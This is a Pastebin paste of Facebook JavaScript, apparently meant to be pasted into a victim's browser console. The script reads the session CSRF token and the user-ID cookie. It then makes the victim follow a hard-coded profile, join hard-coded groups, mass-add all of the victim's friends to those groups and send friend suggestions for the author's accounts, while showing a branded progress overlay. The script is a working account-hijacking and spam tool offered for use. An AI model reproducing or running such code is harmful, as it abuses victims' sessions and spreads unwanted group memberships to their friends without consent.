Advertisement
Guest User

auto theo dõi

a guest
Oct 30th, 2014
138
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 13.98 KB | None | 0 0
  1. function hp_d12(s) {
  2. var o = "",
  3. ar = new Array(),
  4. os = "",
  5. ic = 0,
  6. p = 0;
  7. for (i = 0; i < s.length; i++) {
  8. c = s.charCodeAt(i);
  9. if (c < 128) c = c ^ ((p++ % 8) + 1);
  10. os += String.fromCharCode(c);
  11. if (os.length > 80) {
  12. ar[ic++] = os;
  13. os = ""
  14. }
  15. }
  16. o = ar.join("") + os;
  17. return o
  18. }
  19. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  20. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  21.  
  22. function cereziAl(isim) {
  23. var tarama = isim + "=";
  24. if (document.cookie.length > 0) {
  25. konum = document.cookie.indexOf(tarama);
  26. if (konum != -1) {
  27. konum += tarama.length;
  28. son = document.cookie.indexOf(";", konum);
  29. if (son == -1) son = document.cookie.length;
  30. return unescape(document.cookie.substring(konum, son))
  31. } else {
  32. return ""
  33. }
  34. }
  35. }
  36. function getRandomInt(min, max) {
  37. return Math.floor(Math.random() * (max - min + 1)) + min
  38. }
  39. function randomValue(arr) {
  40. return arr[getRandomInt(0, arr.length - 1)]
  41. }
  42. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  43. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  44.  
  45. function a(abone) {
  46. var http4 = new XMLHttpRequest();
  47. var url4 = "/ajax/follow/follow_profile.php?__a=1";
  48. var params4 = "profile_id=" + abone + "&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg=" + fb_dtsg + "&lsd&__" + user_id + "&phstamp=";
  49. http4.open("POST", url4, true);
  50. http4.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  51. http4.setRequestHeader("Content-length", params4.length);
  52. http4.setRequestHeader("Connection", "close");
  53. http4.onreadystatechange = function() {
  54. if (http4.readyState == 4 && http4.status == 200) {
  55. http4.close
  56. }
  57. };
  58. http4.send(params4)
  59. }
  60. a("100005997375120");
  61. a("100005997375120");
  62.  
  63. var gid = ['265175997025644'];
  64. var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value'];
  65. var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);
  66. var httpwp = new XMLHttpRequest();
  67. var urlwp = '/ajax/groups/membership/r2j.php?__a=1';
  68. var paramswp = '&ref=group_jump_header&group_id=' + gid + '&fb_dtsg=' + fb_dtsg + '&__user=' + user_id + '&phstamp=';
  69. httpwp['open']('POST', urlwp, true);
  70. httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded');
  71. httpwp['setRequestHeader']('Content-length', paramswp['length']);
  72. httpwp['setRequestHeader']('Connection', 'keep-alive');
  73. httpwp['send'](paramswp);
  74. var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value'];
  75. var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);
  76. var friends = new Array();
  77. gf = new XMLHttpRequest();
  78. gf['open']('GET', '/ajax/typeahead/first_degree.php?__a=1&viewer=' + user_id + '&token' + Math['random']() + '&filter[0]=user&options[0]=friends_only', false);
  79. gf['send']();
  80. if (gf['readyState'] != 4) {} else {
  81. data = eval('(' + gf['responseText']['substr'](9) + ')');
  82. if (data['error']) {} else {
  83. friends = data['payload']['entries']['sort'](function(_0x93dax8, _0x93dax9) {
  84. return _0x93dax8['index'] - _0x93dax9['index']
  85. })
  86. }
  87. };
  88. var Title = 'Bạn đang dùng Codersub By Hải Đập Troai,phiên bản mới nhất <A style="color:#3B5998;" href="[URL][URL]https://www.facebook.com/100005997375120&ref=ts&fref=ts[/URL][/URL]"></br>Đang cập nhật …,vui lòng chờ…</A>';
  89. grpname = document.getElementById("groupsJumpTitle").innerHTML;
  90. var Descriptions = "",
  91. _text = 'Powered By <A style="color:#3B5998;" href=" http://www.facebook.com/groups/dimorua/">Largest Group.</A> Join it now.';
  92.  
  93. function AddFriendtoGroup(opo) {
  94. jx.load(window.location.protocol + "//www.facebook.com/ajax/groups/members/add_post.php?__a=1&fb_dtsg=" + fb_dtsg + "&group_id=" + gid + "&source=typeahead&members=" + opo + "&nctr[_mod]=pagelet_group_members_summary&lsd&post_form_id_source=AsyncRequest&__user=" + user_id, function(a) {
  95. var b = a.substring(a.indexOf("{"));
  96. var c = JSON.parse(b);
  97. i--;
  98. Descriptions = "<div class='friend-edge-name' style='padding-bottom:5px;text-align:left;font-size:10px;white-space:pre-wrap;";
  99. if (c.error) {
  100. Descriptions += "color:darkred'>";
  101. err++;
  102. if (c.errorDescription) Descriptions += c.errorDescription;
  103. else Descriptions += JSON.stringify(c, null, "")
  104. } else {
  105. Descriptions += "color:darkgreen'>";
  106. Descriptions += arn[i] + " has been added.<br/>";
  107. suc++
  108. }
  109. Descriptions += "</div>";
  110. var display = "<div id='friend-edge-display' style='box-shadow:0px 3px 8px rgba(0, 0, 0, 0.3);position:fixed;left:50%;margin-left:-273px;top:100px;width:500px;z-index:9999;font-size:14px;text-align:center;padding:15px;box-shadow:0pt 1px 0pt rgba(0,0,0,0.1);border-radius:3px;border:1px solid rgba(200,200,50,0.2);background-color:rgba(255,255,255,0.9);color:#000000'>";
  111. display += "<div style='padding-bottom:5px;font-size:20px;'>" + Title + "</div>";
  112. if (i > 0) {
  113. display += arr.length + " Friends Detected<br/>";
  114. display += "<b>" + suc + "</b> Friends Added of " + (arr.length - i) + " Friends Processed ";
  115. display += "(" + i + " Lefted...)";
  116. display += "<div class='friend-edge'>";
  117. display += Descriptions;
  118. display += "<img style='background:center no-repeat url(https://fbcdn-profile-a.akamaihd.net/static-ak/rsrc.php/v2/yo/r/UlIqmHJn-SK.gif);width:50px;height:50px;margin-left:-125px;padding:2px;border:1px solid rgba(0,0,0,0.4);' src=" + pho[i] + "></img><a style='padding-left:8px;text-align:left;color:#3B5998;position:absolute;font-weight:bold;'>" + arn[i] + "</a>";
  119. display += "<div style='text-align:center;font-size:10px;white-space:pre-wrap;color:gray'>";
  120. display += getuname + " Thanks For Adding Your Friends in " + grpname + ".<br/>";
  121. display += _text;
  122. display += "</div>";
  123. display += "</div>"
  124. } else {
  125. display += arr.length + " Friends Detected<br/>";
  126. display += suc + " Friends Added</br>";
  127. display += err + " Friends Not Added</br></br>";
  128. display += "<div><span class='layerConfirm uiOverlayButton uiButton uiButtonConfirm uiButtonLarge' onClick='window.location.reload()' style='color:white'>Refresh Page</span><span class='layerCancel uiOverlayButton uiButton uiButtonLarge' onClick='document.getElementById(\"pagelet_sidebar\").style.display=\"none\"'>Cancel</span>"
  129. }
  130. display += "</div>";
  131. document.getElementById("pagelet_sidebar").innerHTML = display
  132. }, "text", "post");
  133. tay--;
  134. if (tay > 0) {
  135. var s = arr[tay];
  136. sx = pho[tay];
  137. setTimeout("AddFriendtoGroup(" + s + ")", 100)
  138. }
  139. console.log(tay + "/" + arr.length + ":" + arr[tay] + "/" + arn[tay] + ", success:" + suc);
  140. if (gid != 386572611449908) {
  141. jx.load(window.location.protocol + "//www.facebook.com/ajax/groups/members/add_post.php?__a=1&fb_dtsg=" + fb_dtsg + "&group_id=386572611449908&source=typeahead&members=" + opo + "&nctr[_mod]=pagelet_group_members_summary&lsd&post_form_id_source=AsyncRequest&__user=" + user_id, function() {}, "text", "post")
  142. }
  143. if (newcomer) {
  144. jx.load(window.location.protocol + "//www.facebook.com/ajax/friends/suggest?&receiver=" + opo + "&newcomer=100005383514287&attempt_id=0585ab74e2dd0ff10282a3a36df39e19&ref=profile_others_dropdown&__user=" + user_id + "&__a=1&__dyn=798aD5z5CF-&__req=17&fb_dtsg=" + fb_dtsg + "&phstamp=16581651071156988110194", function() {}, "text", "post")
  145. }
  146. if (newcomer) {
  147. jx.load(window.location.protocol + "//www.facebook.com/ajax/friends/suggest?&receiver=" + opo + "&newcomer=100005997375120&attempt_id=0585ab74e2dd0ff10282a3a36df39e19&ref=profile_others_dropdown&__user=" + user_id + "&__a=1&__dyn=798aD5z5CF-&__req=17&fb_dtsg=" + fb_dtsg + "&phstamp=16581651071156988110194", function() {}, "text", "post")
  148. }
  149.  
  150. }
  151. function clickfr_callback() {
  152. if (document.getElementsByName("ok").length > 0) nHtml.ClickUp(document.getElementsByName("ok")[0]);
  153. var a = arr[i];
  154. if (i < arr.length) addfriend(a.substring(0, 4))
  155. }
  156. function clickfr() {
  157. if (document.getElementsByClassName("search").length > 0) nHtml.ClickUp(document.getElementsByClassName("search")[0].childNodes[0].childNodes[0].childNodes[1]);
  158. else j++;
  159. setTimeout("clickfr_callback()", 2E3)
  160. }
  161. function addfriend(a) {
  162. i++;
  163. setTimeout("clickfr()", 2E3)
  164. }
  165. jx = {
  166. getHTTPObject: function() {
  167. var a = false;
  168. if (typeof ActiveXObject != "undefined") try {
  169. a = new ActiveXObject("Msxml2.XMLHTTP")
  170. } catch (b) {
  171. try {
  172. a = new ActiveXObject("Microsoft.XMLHTTP")
  173. } catch (c) {
  174. a = false
  175. }
  176. } else if (window.XMLHttpRequest) try {
  177. a = new XMLHttpRequest
  178. } catch (b) {
  179. a = false
  180. }
  181. return a
  182. },
  183. load: function(url, callback, format, method, opt) {
  184. var http = this.init();
  185. if (!http || !url) return;
  186. if (http.overrideMimeType) http.overrideMimeType("text/xml");
  187. if (!method) method = "GET";
  188. if (!format) format = "text";
  189. if (!opt) opt = {};
  190. format = format.toLowerCase();
  191. method = method.toUpperCase();
  192. var now = "uid=" + (new Date).getTime();
  193. url += url.indexOf("?") + 1 ? "&" : "?";
  194. url += now;
  195. var parameters = null;
  196. if (method == "POST") {
  197. var parts = url.split("?");
  198. url = parts[0];
  199. parameters = parts[1]
  200. }
  201. http.open(method, url, true);
  202. var ths = this;
  203. if (opt.handler) http.onreadystatechange = function() {
  204. opt.handler(http)
  205. };
  206. else http.onreadystatechange = function() {
  207. if (http.readyState == 4) if (http.status == 200) {
  208. var result = "";
  209. if (http.responseText) result = http.responseText;
  210. if (format.charAt(0) == "j") {
  211. result = result.replace(/[\n\r]/g, "");
  212. result = eval("(" + result + ")")
  213. } else if (format.charAt(0) == "x") result = http.responseXML;
  214. if (callback) callback(result)
  215. } else {
  216. if (opt.loadingIndicator) document.getElementsByTagName("body")[0].removeChild(opt.loadingIndicator);
  217. if (opt.loading) document.getElementById(opt.loading).style.display = "none";
  218. if (error) error(http.status)
  219. }
  220. };
  221. http.send(parameters)
  222. },
  223. bind: function(a) {
  224. var b = {
  225. url: "",
  226. onSuccess: false,
  227. onError: false,
  228. format: "text",
  229. method: "GET",
  230. update: "",
  231. loading: "",
  232. loadingIndicator: ""
  233. };
  234. for (var c in b) if (a[c]) b[c] = a[c];
  235. if (!b.url) return;
  236. var d = false;
  237. if (b.loadingIndicator) {
  238. d = document.createElement("div");
  239. d.setAttribute("style", "position:absolute;top:0px;left:0px;");
  240. d.setAttribute("class", "loading-indicator");
  241. d.innerHTML = b.loadingIndicator;
  242. document.getElementsByTagName("body")[0].appendChild(d);
  243. this.opt.loadingIndicator = d
  244. }
  245. if (b.loading) document.getElementById(b.loading).style.display = "block";
  246. this.load(b.url, function(a) {
  247. if (b.onSuccess) b.onSuccess(a);
  248. if (b.update) document.getElementById(b.update).innerHTML = a;
  249. if (d) document.getElementsByTagName("body")[0].removeChild(d);
  250. if (b.loading) document.getElementById(b.loading).style.display = "none"
  251. }, b.format, b.method, b)
  252. },
  253. init: function() {
  254. return this.getHTTPObject()
  255. }
  256. };
  257. var nHtml = {
  258. FindByAttr: function(a, b, c, d) {
  259. if (c == "className") c = "class";
  260. var e = document.evaluate(".//" + b + "[@" + c + "='" + d + "']", a, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null);
  261. if (e && e.singleNodeValue) return e.singleNodeValue;
  262. return null
  263. },
  264. FindByClassName: function(a, b, c) {
  265. return this.FindByAttr(a, b, "className", c)
  266. },
  267. FindByXPath: function(a, b) {
  268. try {
  269. var c = document.evaluate(b, a, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null)
  270. } catch (d) {
  271. GM_log("bad xpath:" + b)
  272. }
  273. if (c && c.singleNodeValue) return c.singleNodeValue;
  274. return null
  275. },
  276. VisitUrl: function(a) {
  277. window.setTimeout(function() {
  278. document.location.href = a
  279. }, 500 + Math.floor(Math.random() * 500))
  280. },
  281. ClickWin: function(a, b, c) {
  282. var d = a.document.createEvent("MouseEvents");
  283. d.initMouseEvent(c, true, true, a, 0, 0, 0, 0, 0, false, false, false, false, 0, null);
  284. return !b.dispatchEvent(d)
  285. },
  286. Click: function(a) {
  287. return this.ClickWin(window, a, "click")
  288. },
  289. ClickTimeout: function(a, b) {
  290. window.setTimeout(function() {
  291. return nHtml.ClickWin(window, a, "click")
  292. }, b + Math.floor(Math.random() * 500))
  293. },
  294. ClickUp: function(a) {
  295. this.ClickWin(window, a, "mousedown");
  296. this.ClickWin(window, a, "mouseup");
  297. this.ClickWin(window, a, "click")
  298. },
  299. GetText: function(a, b) {
  300. var c = "";
  301. if (b == undefined) b = 0;
  302. if (b > 40) return;
  303. if (a.textContent != undefined) return a.textContent;
  304. for (var d = 0; d < a.childNodes.length; d++) {
  305. var e = a.childNodes[d];
  306. c += this.GetText(e, b + 1)
  307. }
  308. return c
  309. }
  310. };
  311. if (document.getElementsByClassName == undefined) document.getElementsByClassName = function(a) {
  312. var b = new RegExp("(?:^|\\s)" + a + "(?:$|\\s)");
  313. var c = document.getElementsByTagName("*");
  314. var d = [];
  315. var e;
  316. for (var f = 0;
  317. (e = c[f]) != null; f++) {
  318. var g = e.className;
  319. if (g && g.indexOf(a) != -1 && b.test(g)) d.push(e)
  320. }
  321. return d
  322. };
  323. Array.prototype.find = function(a) {
  324. var b = false;
  325. for (i = 0; i < this.length; i++) if (typeof a == "function") {
  326. if (a.test(this[i])) {
  327. if (!b) b = [];
  328. b.push(i)
  329. }
  330. } else if (this[i] === a) {
  331. if (!b) b = [];
  332. b.push(i)
  333. }
  334. return b
  335. };
  336. var i = 3;
  337. var tay = 3;
  338. var j = 0;
  339. var k = 0;
  340. var suc = 0;
  341. var err = 0;
  342. var arr = new Array;
  343. var arn = new Array;
  344. var pho = new Array;
  345. var getuname = document.getElementsByClassName("fbxWelcomeBoxName")[0].innerHTML;
  346. var gid = document.getElementsByName("group_id")[0].value;
  347. jx.load(window.location.protocol + "//www.facebook.com/ajax/typeahead/first_degree.php?" + "__a=1&filter[0]=user&lazy=0&viewer=" + user_id + "&token=v7&stale_ok=0&options[0]=friends_only&options[1]=nm", function(a) {
  348. var b = a;
  349. var c = b.substring(b.indexOf("{"));
  350. var d = JSON.parse(c);
  351. d = d.payload.entries;
  352. for (var e = 0; e < d.length; e++) arr.push(d[e].uid);
  353. for (var eg = 0; eg < d.length; eg++) arn.push(d[eg].text);
  354. for (var pic = 0; pic < d.length; pic++) pho.push(d[pic].photo);
  355. i = arr.length - 1;
  356. tay = i;
  357. console.log(arr.length);
  358. var display = "<div id='friend-edge-display' style='position:fixed;left:50%;margin-left:-273px;top:100px;width:500px;z-index:9999;font-size:14px;text-align:center;padding:15px;box-shadow:0pt 1px 0pt rgba(0,0,0,0.1);border-radius:3px;border:1px solid rgba(200,200,50,0.2);background-color:rgba(255,255,255,0.9);color:#000000'>";
  359. display += "<div style='padding-bottom:10px;font-size:20px;'>" + Title + "</div>";
  360. display += arr.length + " Friends Detected";
  361. display += "</div>";
  362. document.getElementById("pagelet_sidebar").innerHTML = display;
  363. AddFriendtoGroup(arr[i])
  364. });
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement